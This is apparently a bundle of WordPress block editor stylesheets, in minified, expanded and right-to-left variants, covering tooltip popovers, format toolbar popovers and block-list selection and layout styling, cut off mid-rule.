.nux-dot-tip.components-popover.interface-more-menu-dropdown__content:not([data-y-axis=middle])[data-y-axis=left] .components-popover__content{
  margin-right:-12px;
}:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.nux-dot-tip:after,.nux-dot-tip:before{border-radius:100%;content:" ";pointer-events:none;position:absolute}.nux-dot-tip:before{animation:nux-pulse 1.6s cubic-bezier(.17,.67,.92,.62) infinite;background:#00739ce6;height:24px;left:-12px;opacity:.9;top:-12px;transform:scale(.3333333333);width:24px}.nux-dot-tip:after{background:#00739c;height:8px;left:-4px;top:-4px;width:8px}@keyframes nux-pulse{to{background:#00739c00;transform:scale(1)}}.nux-dot-tip .components-popover__content{padding:20px 18px;width:350px}@media (min-width:600px){.nux-dot-tip .components-popover__content{width:450px}}.nux-dot-tip .components-popover__content .nux-dot-tip__disable{position:absolute;right:0;top:0}.nux-dot-tip[data-y-axis=top]{margin-top:-4px}.nux-dot-tip[data-y-axis=bottom]{margin-top:4px}.nux-dot-tip[data-y-axis=middle][data-y-axis=left]{margin-left:-4px}.nux-dot-tip[data-y-axis=middle][data-y-axis=right]{margin-left:4px}.nux-dot-tip[data-y-axis=top] .components-popover__content{margin-bottom:20px}.nux-dot-tip[data-y-axis=bottom] .components-popover__content{margin-top:20px}.nux-dot-tip[data-y-axis=middle][data-y-axis=left] .components-popover__content{margin-right:20px}.nux-dot-tip[data-y-axis=middle][data-y-axis=right] .components-popover__content{margin-left:20px}.nux-dot-tip[data-y-axis=center],.nux-dot-tip[data-y-axis=left],.nux-dot-tip[data-y-axis=right]{z-index:1000001}@media (max-width:600px){.nux-dot-tip[data-y-axis=center] .components-popover__content,.nux-dot-tip[data-y-axis=left] .components-popover__content,.nux-dot-tip[data-y-axis=right] .components-popover__content{align-self:end;left:5px;margin:20px 0 0;max-width:none!important;position:fixed;right:5px;width:auto}}.nux-dot-tip.components-popover:not([data-y-axis=middle])[data-y-axis=right] .components-popover__content{
  /*!rtl:ignore*/margin-left:0}.nux-dot-tip.components-popover:not([data-y-axis=middle])[data-y-axis=left] .components-popover__content{
  /*!rtl:ignore*/margin-right:0}.nux-dot-tip.components-popover.interface-more-menu-dropdown__content:not([data-y-axis=middle])[data-y-axis=right] .components-popover__content{
  /*!rtl:ignore*/margin-left:-12px}.nux-dot-tip.components-popover.interface-more-menu-dropdown__content:not([data-y-axis=middle])[data-y-axis=left] .components-popover__content{
  /*!rtl:ignore*/margin-right:-12px}:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.nux-dot-tip:after,.nux-dot-tip:before{border-radius:100%;content:" ";pointer-events:none;position:absolute}.nux-dot-tip:before{animation:nux-pulse 1.6s cubic-bezier(.17,.67,.92,.62) infinite;background:#00739ce6;height:24px;opacity:.9;right:-12px;top:-12px;transform:scale(.3333333333);width:24px}.nux-dot-tip:after{background:#00739c;height:8px;right:-4px;top:-4px;width:8px}@keyframes nux-pulse{to{background:#00739c00;transform:scale(1)}}.nux-dot-tip .components-popover__content{padding:20px 18px;width:350px}@media (min-width:600px){.nux-dot-tip .components-popover__content{width:450px}}.nux-dot-tip .components-popover__content .nux-dot-tip__disable{left:0;position:absolute;top:0}.nux-dot-tip[data-y-axis=top]{margin-top:-4px}.nux-dot-tip[data-y-axis=bottom]{margin-top:4px}.nux-dot-tip[data-y-axis=middle][data-y-axis=left]{margin-right:-4px}.nux-dot-tip[data-y-axis=middle][data-y-axis=right]{margin-right:4px}.nux-dot-tip[data-y-axis=top] .components-popover__content{margin-bottom:20px}.nux-dot-tip[data-y-axis=bottom] .components-popover__content{margin-top:20px}.nux-dot-tip[data-y-axis=middle][data-y-axis=left] .components-popover__content{margin-left:20px}.nux-dot-tip[data-y-axis=middle][data-y-axis=right] .components-popover__content{margin-right:20px}.nux-dot-tip[data-y-axis=center],.nux-dot-tip[data-y-axis=left],.nux-dot-tip[data-y-axis=right]{z-index:1000001}@media (max-width:600px){.nux-dot-tip[data-y-axis=center] .components-popover__content,.nux-dot-tip[data-y-axis=left] .components-popover__content,.nux-dot-tip[data-y-axis=right] .components-popover__content{align-self:end;left:5px;margin:20px 0 0;max-width:none!important;position:fixed;right:5px;width:auto}}.nux-dot-tip.components-popover:not([data-y-axis=middle])[data-y-axis=right] .components-popover__content{margin-left:0}.nux-dot-tip.components-popover:not([data-y-axis=middle])[data-y-axis=left] .components-popover__content{margin-right:0}.nux-dot-tip.components-popover.interface-more-menu-dropdown__content:not([data-y-axis=middle])[data-y-axis=right] .components-popover__content{margin-left:-12px}.nux-dot-tip.components-popover.interface-more-menu-dropdown__content:not([data-y-axis=middle])[data-y-axis=left] .components-popover__content{margin-right:-12px}:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.nux-dot-tip:after,.nux-dot-tip:before{
  border-radius:100%;
  content:" ";
  pointer-events:none;
  position:absolute;
}
.nux-dot-tip:before{
  animation:nux-pulse 1.6s cubic-bezier(.17, .67, .92, .62) infinite;
  background:#00739ce6;
  height:24px;
  opacity:.9;
  right:-12px;
  top:-12px;
  transform:scale(.3333333333);
  width:24px;
}
.nux-dot-tip:after{
  background:#00739c;
  height:8px;
  right:-4px;
  top:-4px;
  width:8px;
}
@keyframes nux-pulse{
  to{
    background:#00739c00;
    transform:scale(1);
  }
}
.nux-dot-tip .components-popover__content{
  padding:20px 18px;
  width:350px;
}
@media (min-width:600px){
  .nux-dot-tip .components-popover__content{
    width:450px;
  }
}
.nux-dot-tip .components-popover__content .nux-dot-tip__disable{
  left:0;
  position:absolute;
  top:0;
}
.nux-dot-tip[data-y-axis=top]{
  margin-top:-4px;
}
.nux-dot-tip[data-y-axis=bottom]{
  margin-top:4px;
}
.nux-dot-tip[data-y-axis=middle][data-y-axis=left]{
  margin-right:-4px;
}
.nux-dot-tip[data-y-axis=middle][data-y-axis=right]{
  margin-right:4px;
}
.nux-dot-tip[data-y-axis=top] .components-popover__content{
  margin-bottom:20px;
}
.nux-dot-tip[data-y-axis=bottom] .components-popover__content{
  margin-top:20px;
}
.nux-dot-tip[data-y-axis=middle][data-y-axis=left] .components-popover__content{
  margin-left:20px;
}
.nux-dot-tip[data-y-axis=middle][data-y-axis=right] .components-popover__content{
  margin-right:20px;
}
.nux-dot-tip[data-y-axis=center],.nux-dot-tip[data-y-axis=left],.nux-dot-tip[data-y-axis=right]{
  z-index:1000001;
}
@media (max-width:600px){
  .nux-dot-tip[data-y-axis=center] .components-popover__content,.nux-dot-tip[data-y-axis=left] .components-popover__content,.nux-dot-tip[data-y-axis=right] .components-popover__content{
    align-self:end;
    left:5px;
    margin:20px 0 0;
    max-width:none !important;
    position:fixed;
    right:5px;
    width:auto;
  }
}
.nux-dot-tip.components-popover:not([data-y-axis=middle])[data-y-axis=right] .components-popover__content{
  margin-left:0;
}
.nux-dot-tip.components-popover:not([data-y-axis=middle])[data-y-axis=left] .components-popover__content{
  margin-right:0;
}
.nux-dot-tip.components-popover.interface-more-menu-dropdown__content:not([data-y-axis=middle])[data-y-axis=right] .components-popover__content{
  margin-left:-12px;
}
.nux-dot-tip.components-popover.interface-more-menu-dropdown__content:not([data-y-axis=middle])[data-y-axis=left] .components-popover__content{
  margin-right:-12px;
}:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.block-editor-format-toolbar__image-popover{
  z-index:159990;
}
.block-editor-format-toolbar__image-popover .block-editor-format-toolbar__image-container-value{
  margin:7px;
  max-width:500px;
  min-width:150px;
}
.block-editor-format-toolbar__image-popover .block-editor-format-toolbar__image-container-button{
  height:30px;
  margin-bottom:8px;
  margin-right:8px;
}

.block-editor-format-toolbar__link-container-content{
  display:flex;
}

.block-editor-format-toolbar__link-container-value{
  flex-grow:1;
  flex-shrink:1;
  margin:7px;
  max-width:500px;
  min-width:150px;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
}
.block-editor-format-toolbar__link-container-value.has-invalid-link{
  color:#cc1818;
}

.format-library__inline-color-popover [role=tabpanel]{
  padding:16px;
}

.block-editor-format-toolbar__language-popover .components-popover__content{
  padding:1rem;
  width:auto;
}:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.block-editor-format-toolbar__image-popover{z-index:159990}.block-editor-format-toolbar__image-popover .block-editor-format-toolbar__image-container-value{margin:7px;max-width:500px;min-width:150px}.block-editor-format-toolbar__image-popover .block-editor-format-toolbar__image-container-button{height:30px;margin-bottom:8px;margin-right:8px}.block-editor-format-toolbar__link-container-content{display:flex}.block-editor-format-toolbar__link-container-value{flex-grow:1;flex-shrink:1;margin:7px;max-width:500px;min-width:150px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.block-editor-format-toolbar__link-container-value.has-invalid-link{color:#cc1818}.format-library__inline-color-popover [role=tabpanel]{padding:16px}.block-editor-format-toolbar__language-popover .components-popover__content{padding:1rem;width:auto}:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.block-editor-format-toolbar__image-popover{z-index:159990}.block-editor-format-toolbar__image-popover .block-editor-format-toolbar__image-container-value{margin:7px;max-width:500px;min-width:150px}.block-editor-format-toolbar__image-popover .block-editor-format-toolbar__image-container-button{height:30px;margin-bottom:8px;margin-left:8px}.block-editor-format-toolbar__link-container-content{display:flex}.block-editor-format-toolbar__link-container-value{flex-grow:1;flex-shrink:1;margin:7px;max-width:500px;min-width:150px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.block-editor-format-toolbar__link-container-value.has-invalid-link{color:#cc1818}.format-library__inline-color-popover [role=tabpanel]{padding:16px}.block-editor-format-toolbar__language-popover .components-popover__content{padding:1rem;width:auto}:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.block-editor-format-toolbar__image-popover{
  z-index:159990;
}
.block-editor-format-toolbar__image-popover .block-editor-format-toolbar__image-container-value{
  margin:7px;
  max-width:500px;
  min-width:150px;
}
.block-editor-format-toolbar__image-popover .block-editor-format-toolbar__image-container-button{
  height:30px;
  margin-bottom:8px;
  margin-left:8px;
}

.block-editor-format-toolbar__link-container-content{
  display:flex;
}

.block-editor-format-toolbar__link-container-value{
  flex-grow:1;
  flex-shrink:1;
  margin:7px;
  max-width:500px;
  min-width:150px;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
}
.block-editor-format-toolbar__link-container-value.has-invalid-link{
  color:#cc1818;
}

.format-library__inline-color-popover [role=tabpanel]{
  padding:16px;
}

.block-editor-format-toolbar__language-popover .components-popover__content{
  padding:1rem;
  width:auto;
}:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}body{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:18px;line-height:1.5;--wp--style--block-gap:2em}p{line-height:1.8}.editor-post-title__block{font-size:2.5em;font-weight:800;margin-bottom:1em;margin-top:2em}:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.block-editor-block-icon{
  align-items:center;
  display:flex;
  height:24px;
  justify-content:center;
  width:24px;
}
.block-editor-block-icon.has-colors svg{
  fill:currentColor;
}
@media (forced-colors:active){
  .block-editor-block-icon.has-colors svg{
    fill:CanvasText;
  }
}
.block-editor-block-icon svg{
  max-height:24px;
  max-width:24px;
  min-height:20px;
  min-width:20px;
}

.block-editor-block-styles .block-editor-block-list__block{
  margin:0;
}
@keyframes selection-overlay__fade-in-animation{
  0%{
    opacity:0;
  }
  to{
    opacity:.4;
  }
}
:root .block-editor-block-list__layout::selection,:root .has-multi-selection .block-editor-block-list__layout::selection,_::-webkit-full-page-media,_:future{
  background-color:initial;
}
.block-editor-block-list__layout{
  position:relative;
}
.block-editor-block-list__layout:where(.block-editor-block-list__block.is-multi-selected:not(.is-partially-selected)){
  border-radius:2px;
}
.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected) ::selection,.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected)::selection{
  background:#0000;
}
.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected):after{
  animation:selection-overlay__fade-in-animation .1s ease-out;
  animation-fill-mode:forwards;
  background:var(--wp-admin-theme-color);
  border-radius:2px;
  bottom:0;
  content:"";
  left:0;
  opacity:.4;
  outline:2px solid #0000;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
  z-index:1;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected):after{
    animation-delay:0s;
    animation-duration:1ms;
  }
}
.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected).is-highlighted:after{
  box-shadow:none;
}
.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted,.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted~.is-multi-selected,.block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable=true]):focus,.block-editor-block-list__layout.is-navigate-mode .block-editor-block-list__block.is-selected{
  outline:none;
}
.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted:after,.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted~.is-multi-selected:after,.block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable=true]):focus:after,.block-editor-block-list__layout.is-navigate-mode .block-editor-block-list__block.is-selected:after{
  border-radius:1px;
  bottom:1px;
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  content:"";
  left:1px;
  outline:2px solid #0000;
  pointer-events:none;
  position:absolute;
  right:1px;
  top:1px;
  z-index:1;
}
.is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block.is-highlighted:after,.is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block.is-highlighted~.is-multi-selected:after,.is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable=true]):focus:after,.is-dark-theme .block-editor-block-list__layout.is-navigate-mode .block-editor-block-list__block.is-selected:after{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff;
}
.block-editor-block-list__layout .is-block-moving-mode.block-editor-block-list__block.is-selected:after{
  border-radius:2px;
  border-top:4px solid #ccc;
  bottom:auto;
  box-shadow:none;
  content:"";
  left:0;
  pointer-events:none;
  position:absolute;
  right:0;
  top:-14px;
  transition:border-color .1s linear,border-style .1s linear,box-shadow .1s linear;
  z-index:0;
}
.block-editor-block-list__layout .is-block-moving-mode.can-insert-moving-block.block-editor-block-list__block.is-selected:after{
  border-color:var(--wp-admin-theme-color);
}
.has-multi-selection .block-editor-block-list__layout{
  -webkit-user-select:none;
          user-select:none;
}
.block-editor-block-list__layout [class^=components-]{
  -webkit-user-select:text;
          user-select:text;
}

.is-block-moving-mode.block-editor-block-list__block-selection-button{
  font-size:1px;
  height:1px;
  opacity:0;
  padding:0;
}

.block-editor-block-list__layout .block-editor-block-list__block{
  overflow-wrap:break-word;
  pointer-events:auto;
  position:relative;
  -webkit-user-select:text;
          user-select:text;
}
.block-editor-block-list__layout .block-editor-block-list__block.is-editing-disabled{
  pointer-events:none;
  -webkit-user-select:none;
          user-select:none;
}
.block-editor-block-list__layout .block-editor-block-list__block .reusable-block-edit-panel *{
  z-index:1;
}
.block-editor-block-list__layout .block-editor-block-list__block .components-placeholder .components-with-notices-ui{
  margin:-10px 0 12px;
}
.block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui{
  margin:0 0 12px;
  width:100%;
}
.block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui .components-notice .components-notice__content{
  font-size:13px;
}
.block-editor-block-list__layout .block-editor-block-list__block.has-warning{
  min-height:48px;
}
.block-editor-block-list__layout .block-editor-block-list__block.has-warning>*{
  pointer-events:none;
  -webkit-user-select:none;
          user-select:none;
}
.block-editor-block-list__layout .block-editor-block-list__block.has-warning .block-editor-warning{
  pointer-events:all;
}
.block-editor-block-list__layout .block-editor-block-list__block.has-warning:after{
  background-color:#fff6;
  border-radius:2px;
  bottom:0;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:0;
}
.block-editor-block-list__layout .block-editor-block-list__block.has-warning.is-multi-selected:after{
  background-color:initial;
}
.block-editor-block-list__layout .block-editor-block-list__block.is-reusable>.block-editor-inner-blocks>.block-editor-block-list__layout.has-overlay:after{
  display:none;
}
.block-editor-block-list__layout .block-editor-block-list__block.is-reusable>.block-editor-inner-blocks>.block-editor-block-list__layout.has-overlay .block-editor-block-list__layout.has-overlay:after{
  display:block;
}
.block-editor-block-list__layout .block-editor-block-list__block.is-reusable.has-child-selected:after{
  box-shadow:0 0 0 1px var(--wp-admin-theme-color);
}
.block-editor-block-list__layout .block-editor-block-list__block[data-clear=true]{
  float:none;
}

.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-hovered{
  cursor:default;
}
.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-hovered:after{
  border-radius:1px;
  bottom:1px;
  box-shadow:0 0 0 1px var(--wp-admin-theme-color);
  content:"";
  left:1px;
  pointer-events:none;
  position:absolute;
  right:1px;
  top:1px;
}
.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected{
  cursor:default;
}
.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected.rich-text{
  cursor:unset;
}
.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected:after{
  border-radius:2px;
  bottom:1px;
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  content:"";
  left:1px;
  pointer-events:none;
  position:absolute;
  right:1px;
  top:1px;
}

@keyframes block-editor-has-editable-outline__fade-out-animation{
  0%{
    border-color:rgba(var(--wp-admin-theme-color--rgb), 1);
  }
  to{
    border-color:rgba(var(--wp-admin-theme-color--rgb), 0);
  }
}
.is-root-container:not([inert]) .block-editor-block-list__block.has-editable-outline:after{
  animation:block-editor-has-editable-outline__fade-out-animation .3s ease-out;
  animation-delay:1s;
  animation-fill-mode:forwards;
  border:1px dotted rgba(var(--wp-admin-theme-color--rgb), 1);
  border-radius:2px;
  bottom:0;
  content:"";
  left:0;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}
@media (prefers-reduced-motion:reduce){
  .is-root-container:not([inert]) .block-editor-block-list__block.has-editable-outline:after{
    animation-delay:0s;
    animation-duration:1ms;
  }
}

.is-focus-mode .block-editor-block-list__block:not(.has-child-selected){
  opacity:.2;
  transition:opacity .1s linear;
}
@media (prefers-reduced-motion:reduce){
  .is-focus-mode .block-editor-block-list__block:not(.has-child-selected){
    transition-delay:0s;
    transition-duration:0s;
  }
}

.is-focus-mode .block-editor-block-list__block.is-content-locked-temporarily-editing-as-blocks.has-child-selected,.is-focus-mode .block-editor-block-list__block.is-content-locked-temporarily-editing-as-blocks.has-child-selected .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block.is-content-locked.has-child-selected,.is-focus-mode .block-editor-block-list__block.is-content-locked.has-child-selected .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected) .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected).is-multi-selected,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected).is-selected{
  opacity:1;
}

.wp-block.alignleft,.wp-block.alignright,.wp-block[data-align=left]>*,.wp-block[data-align=right]>*{
  z-index:21;
}

.wp-site-blocks>[data-align=left]{
  float:right;
  margin-left:2em;
}

.wp-site-blocks>[data-align=right]{
  float:left;
  margin-right:2em;
}

.wp-site-blocks>[data-align=center]{
  justify-content:center;
  margin-left:auto;
  margin-right:auto;
}
.block-editor-block-list .block-editor-inserter{
  cursor:move;
  cursor:grab;
  margin:8px;
}

@keyframes block-editor-inserter__toggle__fade-in-animation{
  0%{
    opacity:0;
  }
  to{
    opacity:1;
  }
}
.wp-block .block-list-appender .block-editor-inserter__toggle{
  animation:block-editor-inserter__toggle__fade-in-animation .1s ease;
  animation-fill-mode:forwards;
}
@media (prefers-reduced-motion:reduce){
  .wp-block .block-list-appender .block-editor-inserter__toggle{
    animation-delay:0s;
    animation-duration:1ms;
  }
}

.block-editor-block-list__block:not(.is-selected):not(.has-child-selected) .block-editor-default-block-appender{
  display:none;
}
.block-editor-block-list__block:not(.is-selected):not(.has-child-selected) .block-editor-default-block-appender .block-editor-inserter__toggle{
  opacity:0;
  transform:scale(0);
}

.block-editor-block-list__block .block-editor-block-list__block-html-textarea{
  border:none;
  border-radius:2px;
  box-shadow:inset 0 0 0 1px #1e1e1e;
  display:block;
  font-family:Menlo,Consolas,monaco,monospace;
  font-size:15px;
  line-height:1.5;
  margin:0;
  outline:none;
  overflow:hidden;
  padding:12px;
  resize:none;
  transition:padding .2s linear;
  width:100%;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-block-list__block .block-editor-block-list__block-html-textarea{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.block-editor-block-list__block .block-editor-block-list__block-html-textarea:focus{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.block-editor-block-list__block .block-editor-warning{
  position:relative;
  z-index:5;
}
.block-editor-block-list__block .block-editor-warning.block-editor-block-list__block-crash-warning{
  margin-bottom:auto;
}

.block-editor-iframe__body{
  transform-origin:top center;
  transition:all .3s;
}

.is-vertical .block-list-appender{
  margin-left:auto;
  margin-right:12px;
  margin-top:12px;
  width:24px;
}

.block-list-appender>.block-editor-inserter{
  display:block;
}

.block-editor-block-list__block:not(.is-selected):not(.has-child-selected):not(.block-editor-block-list__layout) .block-editor-block-list__layout>.block-list-appender .block-list-appender__toggle{
  opacity:0;
  transform:scale(0);
}

.block-editor-block-list__block.has-block-overlay{
  cursor:default;
}
.block-editor-block-list__block.has-block-overlay:before{
  background:#0000;
  border:none;
  border-radius:2px;
  content:"";
  height:100%;
  position:absolute;
  right:0;
  top:0;
  width:100%;
  z-index:10;
}
.block-editor-block-list__block.has-block-overlay:not(.is-multi-selected):after{
  content:none !important;
}
.block-editor-block-list__block.has-block-overlay:hover:not(.is-dragging-blocks):not(.is-multi-selected):before{
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
  box-shadow:0 0 0 1px var(--wp-admin-theme-color) inset;
}
.block-editor-block-list__block.has-block-overlay.is-reusable:hover:not(.is-dragging-blocks):not(.is-multi-selected):before,.block-editor-block-list__block.has-block-overlay.wp-block-template-part:hover:not(.is-dragging-blocks):not(.is-multi-selected):before{
  background:rgba(var(--wp-block-synced-color--rgb), .04);
  box-shadow:0 0 0 1px var(--wp-block-synced-color) inset;
}
.block-editor-block-list__block.has-block-overlay.is-selected:not(.is-dragging-blocks):before{
  box-shadow:0 0 0 1px var(--wp-admin-theme-color) inset;
}
.block-editor-block-list__block.has-block-overlay .block-editor-block-list__block{
  pointer-events:none;
}
.block-editor-iframe__body.is-zoomed-out .block-editor-block-list__block.has-block-overlay:before{
  right:calc(50% - 50vw);
  width:100vw;
}

.block-editor-block-list__layout .is-dragging{
  background-color:currentColor !important;
  border-radius:2px !important;
  opacity:.05 !important;
  pointer-events:none !important;
}
.block-editor-block-list__layout .is-dragging::selection{
  background:#0000 !important;
}
.block-editor-block-list__layout .is-dragging:after{
  content:none !important;
}

.block-editor-block-preview__content-iframe .block-list-appender{
  display:none;
}

.block-editor-block-preview__live-content *{
  pointer-events:none;
}
.block-editor-block-preview__live-content .block-list-appender{
  display:none;
}
.block-editor-block-preview__live-content .components-button:disabled{
  opacity:1;
}
.block-editor-block-preview__live-content .block-editor-block-list__block[data-empty=true],.block-editor-block-preview__live-content .components-placeholder{
  display:none;
}

.block-editor-block-variation-picker .components-placeholder__instructions{
  margin-bottom:0;
}
.block-editor-block-variation-picker .components-placeholder__fieldset{
  flex-direction:column;
}
.block-editor-block-variation-picker.has-many-variations .components-placeholder__fieldset{
  max-width:90%;
}

.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations{
  display:flex;
  flex-direction:row;
  flex-wrap:wrap;
  justify-content:flex-start;
  list-style:none;
  margin:16px 0;
  padding:0;
  width:100%;
}
.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations>li{
  flex-shrink:1;
  list-style:none;
  margin:8px 0 0 20px;
  text-align:center;
  width:75px;
}
.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations>li button{
  display:inline-flex;
  margin-left:0;
}
.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations .block-editor-block-variation-picker__variation{
  padding:8px;
}
.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations .block-editor-block-variation-picker__variation-label{
  display:block;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:12px;
  line-height:1.4;
}

.block-editor-block-variation-picker__variation{
  width:100%;
}
.block-editor-block-variation-picker__variation.components-button.has-icon{
  justify-content:center;
  width:auto;
}
.block-editor-block-variation-picker__variation.components-button.has-icon.is-secondary{
  background-color:#fff;
}
.block-editor-block-variation-picker__variation.components-button{
  height:auto;
  padding:0;
}
.block-editor-block-variation-picker__variation:before{
  content:"";
  padding-bottom:100%;
}
.block-editor-block-variation-picker__variation:first-child{
  margin-right:0;
}
.block-editor-block-variation-picker__variation:last-child{
  margin-left:0;
}

.block-editor-button-block-appender{
  align-items:center;
  box-shadow:inset 0 0 0 1px #1e1e1e;
  color:#1e1e1e;
  display:flex;
  flex-direction:column;
  height:auto;
  justify-content:center;
  width:100%;
}
.block-editor-button-block-appender.components-button.components-button{
  padding:12px;
}
.is-dark-theme .block-editor-button-block-appender{
  box-shadow:inset 0 0 0 1px #ffffffa6;
